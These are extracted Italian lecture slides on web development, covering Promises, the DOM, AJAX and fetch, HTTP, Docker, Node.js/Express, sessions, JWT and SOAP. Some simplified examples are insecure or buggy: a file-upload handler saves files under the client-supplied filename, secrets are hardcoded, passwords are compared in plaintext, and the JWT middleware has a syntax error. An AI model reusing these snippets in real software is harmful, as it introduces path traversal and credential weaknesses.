L'esecuotre (tetherFunction) prende due parametri, due callback chiamate in caso di successo o fallimento dell'operazione
resolve(value)
se la funzione termina correttamente, con risultato value
reject(error)
se si verifica un errore dove error
è l'errorelet promise = new Promise(function(resolve, reject) {
/* esecutore: operazione che impiegherà del tempo */
resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});
L'esecutore non viene eseguito finchè non lo invoco esplicitamente. Per farlo devo usare un consumatore.
then()
: prende due parametri, due funzioni da eseguire se la promise ha successo oppure nocatch()
: prende un parametro, una funzione da eseguire per catturare gli errorilet promise = new Promise(function(resolve, reject) {
/* esecutore: operazione che impiegherà del tempo */
resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});
promise.then(
function(result){ console.log(result) },
function(error){ console.log(error) }/* opzionale */
);
Possiamo riscrivere tutto con le arrow function
let promise = new Promise((resolve, reject) => {
/* esecutore: operazione che impiegherà del tempo */
resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});
promise.then(
result => console.log(result),
error => console.log(error) /* opzionale */
);
let promise = new Promise(function(resolve, reject) {
setTimeout(() => resolve("Fatto!"), 2000)
});
promise.then(result => console.log(result));
console.log("Ciao");
Stampa prima "Ciao" e poi "Fatto"
function setTimeoutPromise(delay) {
return new Promise((resolve, reject) => {
if (delay < 0) return reject("No ritardo")
setTimeout(() => {
resolve(`Hai atteso ${delay} millisecondi`);
}, delay);
})
}
setTimeoutPromise(250).then(msg => {
console.log(msg);
return setTimeoutPromise(500);
}).then(msg => {
console.log(msg);
});
Tanto tanto tempo fa, tutto funzionava bene:
Ora:
Immagino abbiate capito come si chiama la soluzione ↑
Il supporto nei browsers è discreto, se facciamo finta che IE non esista...
Due parole chiave:
export
→ esporta qualcosa dal file JSimport
→ importa qualcosa nel file JS Opzione 1: in fondo al file
export default cosa;
→ esporta "cosa" come predefinitoexport {pippo, pluto};
→ esporta "pippo" e "pluto".Opzione 2: in linea (più bello)
export default class Cosa {...}
export function pippo(){...}
export function pluto(){...}
Posso esportare solo una cosa come default per file
Importiamo l'export di default:
import Cosa from './modulo.js';
let x = new Cosa();
Importiamo anche il resto:
import Cosa, {pippo, pluto} from './modulo.js';
let x = new X();
Alias per quanto non di default:
import {pippo as goofy} from './modulo.js';
Con l'alias posso risolvere i conflitti di nomi tra moduli diversi
Quando includiamo uno script in HTML, possiamo usare degli attributi:
defer
→ esegue dopo aver caricato il DOMnomodule
→ lo script viene ignorato se il browser supporta i moduli (ES6) → versione per browser tarditype="module"
→ eseguito solo se il browser supporta i moduli:
defer
implicitoasync
viene eseguito subitoRicordate?
Rappresentazione ad albero del documento, in memoria
Interfaccia programmatica per:
Essentially, it connects web pages to scripts or programming languages.
HTMLDocument
: estende Document
, ma con HTML5
molti metodi/proprietà sono già presenti in esso.
HTMLElement
: di tutti i tipi
HTMLAnchorElement
HTMLParagraphElement
HTMLFormElement
Non solo HTML! C'è anche tutto il mondo dell'SVG...
L'oggetto document
contiene il DOM:
document.getElementById("...")
→ restituisce l'elemento (HTMLElement
) con l'id in argomentodocument.getElementsByTagName("...")
→ gli elementi con il nome tag in argomento ("a"
, "span"
, ...);
"*" li restituisce tuttidocument.getElementsByClassName("...")
→ gli elementi con la classe (lista di valori separati da spazio) in argomentodocument.querySelectorAll("...")
→ gli elementi che soddisfano il selector CSS in argomentodocument.querySelector("...")
→ il primo elemento che soddisfa il selector CSS in argomentodocument.createElement("...")
→ crea un elemento del tipo richiestoelement.appendChild(child)
→ aggiunge l'elemento come ultimo children del nodo element
specificato.innerHTML
→ legge/imposta il codice HTML che scrive i descendant dell'elementovar mainSection = document.getElementById("mainSection");
var newP = document.createElement("p");
newP.innerHTML = "questo è il <b>nuovo</b> paragrafo";
mainSection.appendChild(newP);
element.style
→ accede all'attributo style
dell'elemento → ignora gli stili ereditati/esterni
element.style.color = "#ff3300";
element.style.marginTop = "30px";
window.getComputedStyle(element)
→ restituisce lo stile computato per l'elementoCi sono diversi metodi per legarsi agli eventi:
<button onclick="alert('Hello world!')">
Brutto:
Ci sono diversi metodi per legarsi agli eventi:
/* Assumiamo che myButton sia un Button*/
myButton.addEventListener('click', function(){
alert('Hello world');
}, false);
Bello!
Attenzione: non supportato in Internet Explorer 6-8, in cui esiste EventTarget.attachEvent
→ conviene usare librerie per massima compatibilità
Ci sono diversi metodi per legarsi agli eventi:
/* Assumiamo che myButton sia un Button*/
myButton.onclick = function(event){
alert('Hello world');
};
Attenzione: un solo handler per elemento e per evento.
Ci sono tre fasi:
td
)bubble
Bloccare manualmente la propagazione bubble:
ev.stopPropagation();
Attenzione, non interrompe l'esecuzione della funzione.
Scrivere un documento HTML con una casella di input e un bottone: quando l'utente clicca sul bottone, la pagina mostra un elenco con le prime 20 permutazioni della parola scritta nella casella
Spunti:
input
JavaScript is a single-threaded, non-blocking, asynchronous, concurrent programming language with lots of flexibility
JavaScript mantiene uno stack in memoria chiamato function execution stack che tiene traccia della funzione in esecuzione
function f1(){
...
}
function f2(){
...
}
function f3(){
...
}
f1();
f2();
f3();
f1()
f2()
f3()
Function Execution Stack
function f1(){
...
}
function f2(){
f1();
}
function f3(){
f2();
}
f3();
f1()
f2()
f3()
Function Execution Stack
Alcune funzioni possono terminare "più tardi": posso avere una funzione con un ritardo impostato, oppure il risultato dipende da qualcun altro (dati da un server, query a database, ...).
In queste circostanze non voglio bloccare l'esecuzione del codice, ma continuare con le altre funzioni.
Ci sono due tipi principali di operazioni che vengono eseguite in modo asincrono (non bloccanti):
setTimeout()
function stampami() { /* callback */
console.log('stampa me');
}
function test() {
console.log('test');
}
setTimeout(stampami, 2000);
test();
In che ordine vengono stampate le due frasi?
stampami()
e quindi test()
?test()
e sopo 2 secondi stampami()
?JavaScript ha una coda dedicata per le callback (Callback Queue)
Viene creato un ciclo che periodicamente controlla la coda e sposta le callback nello stack (Event Loop):
function f1() {
console.log('f1');
}
function f2() {
console.log('f2');
}
function main() {
console.log('main');
setTimeout(f1, 0);
f2();
}
main();
console.log('f2')
f2()
setTimeout()
console.log('main')
console.log('f1')
main()
f1()
Function Execution Stack
API => f1()
Browser API
f1()
Callback Queue
function f1() {
console.log('f1');
}
function f2() {
console.log('f2');
}
function main() {
console.log('main');
setTimeout(f1, 0);
new Promise((resolve, reject) =>
resolve('promise')
).then(resolve => console.log(resolve))
f2();
}
main();
console.log('f2')
f2()
setTimeout()
console.log('main')
console.log('f1')
console.log('promise')
main()
f1()
anonymous
Function Execution Stack
API => f1()
Browser API
f1()
Callback Queue
anonymous
Job Queue
async
functionsCon ECMAScript 2017 è stato aggiunto il supporto per scrivere funzioni asincrone, un altro modo per gestire le Promise.
Una funzione asincrona è una funzione che:
async
await
al suo internoasync function hello() { return "Ciao!" };
hello(); /* ritorna una Promise */
async
functionsSi può scrivere in forma più elegante
let hello = async function() { return "Ciao!" };
Oppure con una arrow function
let hello = async () => "Ciao!";
async
functionsPer consumare la Promise posso usare then()
hello().then((value) => console.log(value));
Oppure la forma abbreviata
hello().then(console.log);
await
I vantaggi delle funzione asincrone si vedono quando combinate con la parola chiave await
:
async function hello() {
return await Promise.resolve("Hello");
};
hello().then(console.log);
function dopo2sec() {
return new Promise(resolve => {
setTimeout(() => {
resolve('Fatto!');
}, 2000);
});
}
async function asincrona() {
console.log('Eseguo e aspetto');
const result = await dopo2sec();
console.log(result);
}
asincrona();
function setTimeoutPromise(delay) {
return new Promise((resolve, reject) => {
if (delay < 0) return reject("No ritardo")
setTimeout(() => {
resolve(`Hai atteso ${delay} millisecondi`);
}, delay);
})
}
asincrona();
async function asincrona() {
const msg1 = await setTimeoutPromise(250)
console.log(msg1)
const msg2 = await setTimeoutPromise(500)
console.log(msg2)
}
Con le promise:
setTimeoutPromise(-10).then(msg => {
console.log(msg);
}).catch(error => {
console.error(error)
}).finally(() => {
console.log("Esegui comunque!");
});
Con codice asincrono:
asincrona();
async function asincrona() {
try {
const msg = await setTimeoutPromise(-10);
console.log(msg);
} catch (error) {
console.error(error);
} finally {
console.log("Esegui comunque!");
}
}
Quando si inserisce un URL nel browser:
Alcuni URL invocano programmi eseguiti dal web server, inviando dei parametri:
http://www.sailing.org/16937.php?meetid=82
Cambiare i dati === ricaricare la pagina
Ma noi vogliamo fare Web Applications, cioè un sito internet che sia molto simile nell'uso ad un'applicazione desktop.
Asynchronous JavaScript + XML: un modo di utilizzare JavaScript per arricchire un documento HTML con nuove informazioni (senza riscaricarlo)
Ajax: è la chiave dell'interattività delle applicazioni Web!
In pratica: Ajax = utilizzare l'oggetto JavaScript XMLHttpRequest
XMLHttpRequest
The XMLHttpRequest specification defines an API that provides scripted client functionality for transferring data between a client and a server
Non è un linguaggio di programmazione, ma un modo di usare JavaScript.
Specifica disponibile su http://www.w3.org/TR/XMLHttpRequest, documentazione su w3schools
ad oggi, specifica ≠ implementazioni
XMLHttpRequest
"Utilizzarla" ≈ leggerla e aggiornare il DOM con le nuove informazioni
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = myFunction;
xhr.open("GET", url, true);
xhr.send(null);
Bisogna dire all'oggetto XMLHttpRequest
:
open
specifica che la richiesta è asincrona"Quando arriva la risposta"...
xhr.onreadystatechange
→ handler, funzione invocata ad ogni cambio di statoxhr.readyState
→ stato dell'interazione (tra oggetto e server):
new ...
)open()
)send()
)Di solito ci interessa solo il 4.
Quando è disponibile (readyState == 4
) e non ci sono stati errori, la risposta si trova in:
xhr.responseText
→ corpo della risposta, come stringaxhr.responseXML
→ corpo della risposta, come oggetto di tipo Document, solo se:
Quale usare? Dipende!
xhr.onreadystatechange = function() {
var text;
if (xhr.readyState == 4) {
if (xhr.status == 200) {
text = xhr.responseText;
/* usare text nel DOM */
} else {
/* gestire l'errore; */
}
}
};
Alcune opzioni:
document.getElementById("toRewrite").innerHTML = xhr.responseText;
uno,due,tre
):
var listEl = document.getElementById("list");
var pieces = xhr.responseText.split(",");
var i, newLi;
for (i = 0; i<pieces.length; i++) {
newLi = document.createElement("li");
newLi.innerHTML = pieces[i];
listEl.appendChild(newLi);
}
<?xml version="1.0" encoding="UTF-8"?>
<animals>
<animal type="dog">
<name>Simba</name>
<color>white</color>
</animal>
<animal type="dog">
<name>Gass</name>
<color>brown</color>
</animal>
</animals>
succinta introduzione su XML su w3schools
var xmlDoc = xhr.responseXML;
var animals = xmlDoc.getElementsByTagName("animal");
var i, name, nameEl;
for (var i = 0; i < animals.length; i++) {
var nameEl = animals[i].getElementsByTagName("name")[0];
var name = nameEl.childNodes[0].nodeValue;
...
}
Nota: è possibile convertire l'XML in un oggetto.
Ma dobbiamo usare sempre XML per comunicare? NO!
Standard di trasmissione dei dati in un formato leggibile, formato da coppie attributo-valore ed elenchi ordinati di valori.
Deriva dall'Object Literal di JavaScript:
{ "employees": [
{"firstName":"Mick","lastName":"Jagger" },
{"firstName":"Ronnie","lastName":"Wood"},
{"firstName":"Keith","lastName":"Richards"},
{"firstName":"Charlie","lastName":"Watts"} ]
}
Si occupa di tutto JSON.parse()
:
xhr.onreadystatechange = function() {
var obj;
if (xhr.readyState == 4) {
if (xhr.status == 200) {
obj = JSON.parse(xhr.responseText);
/*usare obj nel DOM*/
} else {
/*gestire l'errore;*/
}
}
};
Restrizione che impedisce ad uno script di comunicare con server diversi da quello da cui origina il documento che lo ospita
Lo script su www.trieste.it/index.html non può fare xhr.open("GET", "http://udine.it", true)
Creare (almeno) 3 file (JSON o XML o testo) ognuno con la scheda di un animale. La scheda contiene almeno 3 attributi (ad esempio: nome, colore, ...).
Creare un documento HTML con una casella di testo. Quando l'utente scrive il nome dell'animale il documento si aggiorna con una tabella con i dati dell'animale cercato, se disponibile.
in Chrome, c'è una restrizione che impedisce di caricare documenti col protocollo "file:///"
quando si caricano documenti col protocollo "file:///" su FireFox, i valori di xhr.status
non sono quelli classici di HTTP
Usate i web server embedded in VSCode o Atom
fetch()
L'uso di XMLHttpRequest
è scomodo:
async
fetch
introdotta di recentefetch()
: esempioIspirato alla funzione ajax()
di JQuery, ma:
Response
e Request
fetch('url')
.then(response => response.json())
.then(data => console.log(data));
fetch()
: esempioasync function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
postData('https://esempio', { dati: 'xxx' })
.then(data => {
console.log(data);
});
Hyper Text Transfer Protocol - RFC 2616
Tre sezioni per request:
<CR><LF>
GET /index.html HTTP/1.1
Host: www.esempio.it
<CR><LF>
Coppia chiave-valore, una per riga
Accept
: content-type accettabili nella risposta
accept-language
, accept-encoding
(compressione), accept-charset
, ...User-agent
: programma che effettua la richiestaHost
: nome DNS del server che sto contattandoCookies
Authorization
Gestita nei Request Headers
Basic:
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Attenzione:
Gestita nei Request Headers
Digest (RFC-2617):
WWW-Authenticate: Digest realm="testrealm@host.com",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"
Authorization: Digest username="Mufasa", ...,
MD5(MD5(username:realm:password):nonce)
Il browser memorizza le credenziali per non chiederle ogni volta: come mi scollego?
Non previsto!
logout()
in JavaScript (non supportata)In sintesi: si pone il problema del logout ⇛ usare un sistema di autenticazione session-based
Tre sezioni per request:
HTTP/1.0 200 OK
Date: Mon, 28 Jun 2004 10:47:31 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.4
X-Powered-By: PHP/4.3.4
Vary: Accept-Encoding,Cookie
Cache-Control: private, s-maxage=0,
max-age=0, must-revalidate
Content-Language: it
Content-Type: text/html; charset=utf-8
Age: 7673
X-Cache: HIT from wikipedia.org
Connection: close
Applicazione che gestisce le richieste di trasferimento di pagine web tramite il protocollo HTTP o HTTPS
Multi-Processing Modules: quando è nato Apache, non esistevano le connessioni HTTP keep-alive
Apache
Nginix
Apache
Nginix
Apache
Nginix
Apache
Nginix
Insieme di pratiche che combiinano lo sviluppo del software (dev) e la gestione delle operazioni di IT (ops)
Per eseguire un container servono due cose: un'immagine e un Container RunTime
Un Container RunTime è un software che esegue e gestisce le componenti di un container
runC
è un RunTime molto usato (altro: gvisor
o kata
)
Il container viene eseguito come un processo
Il container viene eseguito come un processo
/sys/
)Limitare la memoria utilizzabile dal processo con PID 1102
a 50MB (52428800 bytes)
$ mkdir /sys/fs/cgroup/memory/gruppo
$ echo 52428800 > /sys/fs/cgroup/memory/gruppo/memory.limit_in_bytes
$ echo 1102 > /sys/fs/cgroup/memory/gruppo/cgroup.procs
I container si basano su delle immagini
docker ps
: elenco dei containerdocker ps -a
: elenco di tutti i container, anche non attividocker run --name con_name
: esegue in container con nome con_name
docker run -d con_name
: esegue in modalità detached (background)docker run -it con_name
: modalità interattivadocker rm id
: rimuove il container con un certo id
docker start id
: esegue il container spento con id id
docker attach id
: si collega al container con id id
docker stop id
: spegne il container con id id
Il filesystem di ogni container è completamente isolato
docker run -v /home/andrea:/home/container con_name
La rete di ogni container è completamente isolata
docker run -p 8088:80 con_name
Script che contine le operazioni da fare per inizializzare il container
FROM ubuntu RUN apt update RUN apt install –y apache2 RUN apt install –y apache2-utils RUN apt clean EXPOSE 80 CMD [“apache2ctl”, “-D”, “FOREGROUND”]
FROM
: immagine di base da cui partireENV chiave=valore
: imposta variabili di ambienteRUN
: esegue dei comandi all'interno dell'immagine (crea un nuovo layer)ADD
: aggiunge un file (anche remoto) all'immagineCOPY
: come ADD
, ma non da remoto e più veloceENTRYPOINT
: esegue una istruzione appena il container è avviato, non crea layerWORKDIR
: working directory del containerEXPOSE
: porte su cui sarà in ascolto il contaneri (non aperte di default)VOLUME
: path nel container dove mappare un volume (da fare a runtime)Per creare un'immagine da un Dockerfile, va fatto il build
docker build -t TAG build_context
Dockerfile:
FROM httpd:2.4
EXPOSE 80
COPY ./src/ /usr/local/apache2/htdocs/
docker build -t our_server:1.0 .
docker run -d -P our_server:1.0
Tool di configurazione che permette di comporre un container
version: '3.9' services: apache: image: httpd:latest container_name: my-apache-app ports: - '8080:80' volumes: - ./website:/usr/local/apache2/htdocs
Programma che consegna documenti web su richiesta
Caso semplice:
http://www.units.it/risultati-esami.html
)GET /risultati-esami.html HTTP/1.1
)qualcuno aveva messo su disco il documento
(Esempio di) caso normale:
Il web server è un programma che riceve richieste secondo il protocollo HTTP
Quando riceve la richiesta, esegue operazioni, alcune per produrre il documento HTML:
Cosa deve fare il programma nel "generare il documento"? Dipende:
bisogna riscrivere un web server per ogni situazione? No!
↓
server-side scripting/programming
Ce ne sono tante:
Noi vedremo una soluzione basata su Node.js
Richiesta gestita da un linguaggio classico (PHP, Java, ASP, ...):
Richiesta gestita da Node.js:
Viene eseguito un singolo thread non bloccante e viene programmato in maniera asincrona
node
$ node miofile.js
require()
const http = require('http');
I moduli si possono creare ed includere a piacimento
mymodule.js
exports.myFunction = function () {
return "something";
};
const myf = require('./mymodule');
console.log(myf.myFunction()
Modulo principale built-in: http
const http = require('http');
http.createServer(function (req, res) {
res.write('Buongiornissimo!');
res.end();
}).listen(8080);
http
Ha vari metodi, a noi interessa createServer()
:
requestListener
:
request
: oggetto IncomingMessage
response
: oggetto ServerResponse
HTTPServer
Scrittura HTTP Response
const http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write('Buongiornissimo!');
res.end();
}).listen(8080);
Posso leggere la HTTP Request
const http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write(req.url);
res.end();
}).listen(8080);
Posso fare il parsing dei parametri della query string
const http = require('http');
const url = require('url');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
const q = url.parse(req.url, true).query;
res.write(`${q.name} ${q.surname}`);
res.end();
}).listen(8080);
Leggiamo un documento da disco:
fs
const http = require('http');
const fs = require('fs');
http.createServer(function (req, res) {
fs.readFile('index.html', function(err, data) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write(data);
return res.end();
});
}).listen(8080);
fs
ha diverse funzionalità:
fs.open()
fs.appendFile()
fs.writeFile()
fs.unlink()
fs.rename()
const http = require('http');
const fs = require('fs');
http.createServer( (req, res) => {
fs.readFile('index.html', (err, data) => {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write(data);
return res.end();
});
}).listen(8080);
possiamo usare arrow function, promise, async, ...
events
const http = require('http');
const events = require('events');
const eventEmitter = new events.EventEmitter();
const myEventHandler = function () {
console.log('Ho sentito qualcosa!');
}
eventEmitter.on('rumore', myEventHandler);
eventEmitter.emit('rumore');
const http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write('');
return res.end();
}).listen(8080);
const http = require('http');
const formidable = require('formidable');
http.createServer(function (req, res) {
if (req.url == '/fileupload') {
const form = new formidable.IncomingForm();
form.parse(req, function (err, fields, files) {
res.write('File uploaded');
res.end();
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write('');
return res.end();
}
}).listen(8080);
const fs = require('fs');
/* ... */
http.createServer(function (req, res) {
if (req.url == '/fileupload') {
const form = new formidable.IncomingForm();
form.parse(req, function (err, fields, files) {
const oldpath = files.filetoupload.filepath;
const newpath = `${__dirname}/${files.filetoupload.originalFilename}`;
fs.copyFile(oldpath, newpath, function (err) {
if (err) throw err;
res.write('File uploaded and moved!');
res.end();
});
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write('...');
return res.end();
}
}).listen(8080);
Generare un documento web da zero è scomodo
Soluzione: template
Schema HTML con parti variabili:
Quale modulo?
http
Soluzione? Usiamo un framework!
Il framework più utilizzato in ambito Node.js è Express
I framewark si dividono in due tipologie:
Express è unopionionated
const express = require("express");
const app = express();
const port = 3000;
app.get("/", (req, res) => {
res.send("Buongiornissimo");
});
app.listen(port, () => {
console.log(`In ascolto sulla porta ${port}!`);
});
get()
post()
delete()
put()
all()
const express = require("express");
const app = express();
const port = 3000;
app.get('/book', (req, res) => { res.send('Leggi libro') });
app.post('/book', (req, res) => { res.send('Aggiungi libro') });
app.put('/book', (req, res) => { res.send('Modifica libro') });
app.listen(port, () => {
console.log(`In ascolto sulla porta ${port}!`);
});
Si può compattare
const express = require("express");
const app = express();
const port = 3000;
app.route('/book')
.get((req, res) => { res.send('Leggi libro') })
.post((req, res) => { res.send('Aggiungi libro') })
.put((req, res) => { res.send('Modifica libro') });
app.listen(port, () => {
console.log(`In ascolto sulla porta ${port}!`);
});
res.end()
termina la responseres.json()
invia un jsonres.redirect()
forza il client a fare una redirectres.render()
invoca un template engineres.send()
invia una risposta genericaSpesso è ultile raggruppare gli handler di una sezione del sito
wiki.js
const express = require("express");
const router = express.Router();
router.get("/", function (req, res) {
res.send("Wiki home page");
});
router.get("/about", function (req, res) {
res.send("Informazioni");
});
module.exports = router;
app.js
const wiki = require("./wiki.js");
/* … */
app.use("/wiki", wiki);
?
: risorsa avrà 0 o 1 ripetizione del carattere/gruppo precedente+
: risorsa avrà 0 o più ripetizione del carattere/gruppo precedetnte*
: risorsa può avere una stringa arbitraria al posto del simbolo()
: la stringa contenuta tra paretesi è un gruppoUna parte della risorsa può essere parametrica: named segment
Un named segment si definisce con :
come prefisso
app.get("/utente/:userId/libro/:bookId", (req, res) => {
console.log(req.params.userId, req.params.bookId);
res.send(req.params);
});
Le funzioni middleware
next()
use()
next()
const express = require("express");
const logger = require("morgan");
const app = express();
app.use(logger("dev"))
Specifica dell'interfaccia dei vari metodi get()
, post()
, delete()
, ...
app.METHOD(path, callback [, callback ...])
path
→ The path for which the middleware function is invoked; can be any of:callback
→ Callback functions; can be:Esegui una funzione per qualsiasi request
app.use((req, res, next) => {
/* fai qualcosa */
next();
})
Esegui una funzione per una certa risorsa
app.use('/user/:id', (req, res, next) => {
/* fai qualcosa */
next();
});
Esegui una funzione se viene fatta una request GET ad una certa risorsa
app.get('/user/:id', (req, res, next) => {
/* fai qualcosa */
next();
});
Esegui una sequenza di funzioni
app.use('/user/:id', (req, res, next) => {
/* fai qualcosa */
next();
}, (req, res, next) => {
/* fai qualcosa */
next();
})
Un middleware per gesitre i contenuti statici è di base in express: express.static
Utile quando dobbiamo gestire request per immagini, CSS, JavaScript e pagine statiche. Se il file non viene trovato, viene passata la request al prossimo middleware.
const express = require("express");
app.use(express.static("public"));
app.use(express.static("media"));
app.listen(port, function () {
console.log('Esempio file server');
});
HTTP è un protocollo di comunicazione stateless
Caso semplice:
La seconda richiesta è slegata dalla prima: resp2 viene prodotto solo sulla base di req2!
in caso contrario si dice stateful
Esigenza reale (web application):
Da un altro punto di vista:
Da un altro punto di vista:
s è lo stato del dialogo tra C e S
Il web server S è multithreaded:
Risposta sbagliata:
S sa chi è Ci e "ripesca" si da una lista/mappa
S, alla "prima" richiesta di C
Quando arriva una richiesta req da un C:
Richiede la collaborazione del client!
Il token potrebbe essere S, di solito è molto più "piccolo"
S include nella risposta: "in tutte le prossime richieste, includi questo token t"
Meccanismi:
href="store/dogs/index.jsp?type=jack_russel&sess_id=t
sess_id
express-session
session
all'interno dell'oggetto req
secret
: parametro richiesto, è il token per firmare il cookie IDresave
: forza il salvataggio della sessione, non sarebbe richeisto, ma il valore di default (true) è deprecatoconst session = require('express-session');
app.use(session({
secret: 'segreto',
resave: false
}));
app.post('/login', (req, res) => {
/* codice per verificare se utente esiste */
if(user !== null) {
req.session.user = {
email: user.email,
name: user.name
};
res.redirect('/account');
} else {
/* Login non valido */
}
});
app.get('/info', (req, res) => {
if(!req.session.user) {
res.redirect('/login');
} else {
res.send(req.session.user);
}
});
L'accesso ad alcune risorse deve essere limitato
Perché limitare? Sicurezza!
L'accesso ad alcune risorse deve essere limitato, secondo l'identità di chi richiede l'accesso
A questo punto, il server considera C logged in per un po' di tempo/richieste (~ sessioni)
S: «Chi sei?» C: «Sono C» S: «Il client è veramente C? Sì»
S: «C può accedere a req? Sì»
Per noi, "sicurezza" ≈ "autenticazione/autorizzazione"
Dichiarativa → i processi di autenticazione/autorizzazione sono definiti nella configurazione
Programmatica → i processi di autenticazione/autorizzazione sono definiti (anche) nel codice
alla risorsa req possono accedere gli utenti U1, U2, U3 solo se l'utente U0 ha avuto accesso ad req almeno 5 volte
La definisce il programmatore "a manina"
Posso implementarla in due modi
passport
Autocostruita
app.post('/login', function(req, res){
/* recupero credenziali dal DB */
if(user.id === req.body.id && user.pass === req.body.pass){
req.session.user = user;
res.redirect('/restricted');
}
res.send('Credenziali non valide');
});
app.get('/restricted', checkSignIn, function(req, res){
res.send('dati protetti');
});
function checkSignIn(req, res, next){
if(req.session.user){ return next() }
next(new Error("Non loggato!"));
}
Passport.js
const passport = require('passport');
const LocalStrategy = require('passport-local');
passport.use(new LocalStrategy((user, pass, done) => {
/* verifico se username e pass sono ndel DB */
if( !authenticated ){ return done(null, false); }
if( authenticated ) return done(user);
});
app.get("/restricted", (req, res, next) => {
/* gestisci login */
if (req.isAuthenticated()) { return next(); }
res.redirect('/')
},
(req, res) => {
/* body del metodo se autenticato */
});
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Tre sezioni, separate dal "." e codificate in Base64
Come si invia il token al server?
Authorization: Bearer token
Cosa ci guadagno?
const jwt = require('jsonwebtoken');
app.post('/api/login', (req,res)=>{
const user = { /* dati utente */ };
jwt.sign({user:user},'secretkey',(err,token)=>{
res.json({token,});
});
});
app.post('/api/profile', (req,res,next) => {
const bearerHeader = req.headers['authorization'];
if(typeof bearerHeader!=='undefined'){
const bearerToken = bearerHeader.split(' ')[1];
req.token=bearerToken;
next();
} else {
res.sendStatus(403);
}, (req,res)=>{
jwt.verify(req.token, 'secretkey', (err, authData)=>{
if(err){ res.sendStatus(403);}
else{ res.json({ /* dati */ });}
});
});
Vista nel corso:
↕
↕
↕
L'utente può usare la app tramite:
Tutti vogliono parlare con noi tramite Internet...
Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.
Ma cosa cambia rispetto ad una pagina web normale?
Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.
Ma cosa cambia rispetto ad una pagina web normale?
Cambia il destinatario:
Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.
Ci sono tre possibili strade:
Quale scegliere?
Decidiamo noi lo standard con cui esporre il servizio
const express = require('express');
const app = express();
app.get('*', (req, res) => {
if(req.query.program !== undefined){
/*crea risposta XML per il programma chiamante*/
} else {
/*crea pagina HTML per l'essere umano*/
}
});
Decidiamo noi lo standard con cui esporre il servizio.
Problemi:
E come si fa con C, che non è ad oggetti?
Firewall non felici, non usa porta 80
XML-RPC nasce perché Microsoft tentennava nell'approvare SOAP!
Standard di W3C, attualmente alla versione 1.2. Elementi principali:
Envelope
Header: meta-informazioni (es: versione, informazioni su transazioni, ecc.)
Solo Envelope
e Body
sono obbligatori
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope/" soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
<soap:Header>
...
</soap:Header>
<soap:Body>
...
<soap:Fault>
...
</soap:Fault>
</soap:Body>
</soap:Envelope>
L'encoding dei dati non è predefinito, e possono convivere più tipi di encoding
Usato per Request...
<soap:Body>
<m:GetPrice xmlns:m="http://www.w3c.com/prices">
<m:Item>Apples</m:Item>
</m:GetPrice>
</soap:Body>
...e Response
<soap:Body>
<m:GetPriceResponse xmlns:m="http://www.w3c.com/prices">
<m:Price>1.90</m:Price>
</m:GetPriceResponse>
</soap:Body>
...ed eventuali errori
Finora non abbiamo parlato del canale o del server con cui parlare...
Se si usa HTTP, gli header devono specificare:
Content-Type
: di solito è application/soap+xml
Content-Length
SOAPAction: "URI"
POST /InStock HTTP/1.1
Host: www.example.org
Content-Type: application/soap+xml; charset=utf-8
Content-Length: nnn
SOAPAction: "/GetStockPrice"
<?xml version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope/"
soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
<soap:Body xmlns:m="http://www.example.org/stock">
<m:GetStockPrice>
<m:StockName>IBM</m:StockName>
</m:GetStockPrice>
</soap:Body>
</soap:Envelope>
Il server in risposta dovrebbe dare solo:
E se dovessi inviare degli allegati?
Soluzione 1: codificato nell'envelope in BASE64
... molto poco efficiente...
E se dovessi inviare degli allegati?
Soluzione 2: Message Transmission Optimization Mechanism
utilizzando MIME e Multipart
MIME-version: 1.0
Content-Type: Multipart/Related; ...
--MIME_boundary
Content-Type: text/xml; ...
<?xml version="1.0" ?>
<env:Envelope ...
<someTag href="cid:attached.gif@company.com"/>
</end:Envelope>
...
--MIME_boundary
Content-Type: image/gif
Content-Transfer-Encoding: binary
Content-ID: <"attached.gif@company.com">
...binary dell'immagine...
Come realizzo un Web Service?
Come realizzo un Web Service?
node-soap
:
Ma ho ancora un grosso problema: come fa l'utente a sapere
Devo scrivere documentazione?
Ma ho ancora un grosso problema: come fa l'utente a sapere
Devo scrivere documentazione? NO!
Web Services Description Language, standard W3C
Usa XML per definire le interfacce, composto da quattro elementi:
<types>
: tipi di dati usati dal WS (non necessario se uso i primitivi già noti)<message>
: definizione dei dati che vengono trasmessi<portType>
: operazioni che si possono compiere e relativi messaggi<binding>
: protocollo e formato dei dati usati per ogni porta<portType>
non gestisce solo domande e risposte:
Si passa da uno all'altro cambiando l'ordine e la presenza degli elementi input/output
<message name="getTermRequest">
<part name="term" type="xs:string"/>
</message>
<message name="getTermResponse">
<part name="value" type="xs:string"/>
</message>
<portType name="glossaryTerms">
